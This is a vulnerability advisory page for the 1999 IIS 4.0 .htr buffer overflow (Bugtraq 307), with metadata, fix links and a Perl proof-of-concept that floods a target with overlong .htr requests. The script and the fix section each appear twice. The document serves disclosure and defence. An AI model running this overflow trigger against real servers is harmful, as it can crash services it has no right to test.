NT IIS4 Buffer Overflow Vulnerability
BID:307
Info
NT IIS4 Buffer Overflow Vulnerability
| Bugtraq ID: | 307 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 15 1999 12:00AM |
| Updated: | Jun 15 1999 12:00AM |
| Credit: | This vulnerability was discovered by the eEye Digital Security Team. |
| Vulnerable: |
Microsoft IIS 4.0 |
| Not Vulnerable: |
Microsoft Windows NT 4.0 SP6 |
Exploit / POC
NT IIS4 Buffer Overflow Vulnerability
Use the following script to test your site:
#!/usr/bin/perl
use LWP::Simple;
for ($i = 2500; $i <= 3500; $i++) {
warn "$i\n";
get "http://$ARGV[0]/".('a' x $i).".htr";
}
An exploit has been released as part of the MetaSploit Framework 2.3.
Use the following script to test your site:
#!/usr/bin/perl
use LWP::Simple;
for ($i = 2500; $i <= 3500; $i++) {
warn "$i\n";
get "http://$ARGV[0]/".('a' x $i).".htr";
}
An exploit has been released as part of the MetaSploit Framework 2.3.
Solution / Fix
NT IIS4 Buffer Overflow Vulnerability
Solution:
Microsoft has made the following fix available:
ftp://ftp.microsoft.com/bussys/IIS/iis-public/fixes/usa/ext-fix/
This vulnerability was patched in NT Service Pack 6.
eEye has made available a filter patch that will limit .htr request to 255 bytes yet allow normal request to continue to work. The filter and source are available at:
http://www.eeye.com/database/advisories/ad06081999/ad06081999-ogle.html
Solution:
Microsoft has made the following fix available:
ftp://ftp.microsoft.com/bussys/IIS/iis-public/fixes/usa/ext-fix/
This vulnerability was patched in NT Service Pack 6.
eEye has made available a filter patch that will limit .htr request to 255 bytes yet allow normal request to continue to work. The filter and source are available at:
http://www.eeye.com/database/advisories/ad06081999/ad06081999-ogle.html